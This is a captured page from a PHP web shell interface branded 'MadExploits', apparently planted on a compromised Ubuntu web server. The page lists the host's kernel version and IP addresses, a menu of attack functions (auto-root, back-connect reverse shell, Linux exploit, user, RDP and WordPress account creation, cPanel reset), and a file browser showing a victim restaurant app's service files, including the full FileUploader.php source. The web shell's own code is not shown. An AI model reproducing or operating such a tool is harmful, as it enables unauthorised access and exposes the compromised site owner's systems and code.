Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.216.219.130
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
restaurants /
src /
Service /
[ HOME SHELL ]
Name
Size
Permission
Action
EmailSender.php
624
B
-rw-rw-r--
FileUploader.php
1.48
KB
-rw-rw-r--
MailgunTransport.php
816
B
-rw-rw-r--
PaystackHelper.php
2.53
KB
-rw-rw-r--
RegisterActivity.php
1.18
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FileUploader.php
<?php namespace App\Service; use Symfony\Component\HttpFoundation\File\Exception\FileNotFoundException; use Tinify; class FileUploader { private $credentials; private $s3Bucket; public function __construct($s3credentials, $s3Bucket, $tinifyKey) { $this->credentials = $s3credentials; $this->s3Bucket = $s3Bucket; Tinify\setKey($tinifyKey); } public function upload($file, $place) { if (!array_key_exists('tmp_name', $file) || !$file['tmp_name']) { return false; } $parts = explode(".", $file['name']); $ext = $parts[count($parts)-1]; $fileName = $place.'-'.uniqid().'.'.$ext; $imagePath = "/places/images/"; $source = Tinify\fromFile($file['tmp_name']); $resized = $source->resize([ "method" => "cover", "width" => 500, "height" => 500 ]); $this->credentials['path'] = $this->s3Bucket . $imagePath . $fileName; $resized->store($this->credentials); return sprintf("https://cravvingsapp.s3.eu-west-2.amazonaws.com%s%s", $imagePath, $fileName); } public function uploadFiles($files, $place) { if(is_array($files) && !array_key_exists('tmp_name', $files)){ return array_filter(array_map(function($file) use ($place){ return $this->upload($file, $place); }, $files)); }else { return $this->upload($files, $place); } } }
Close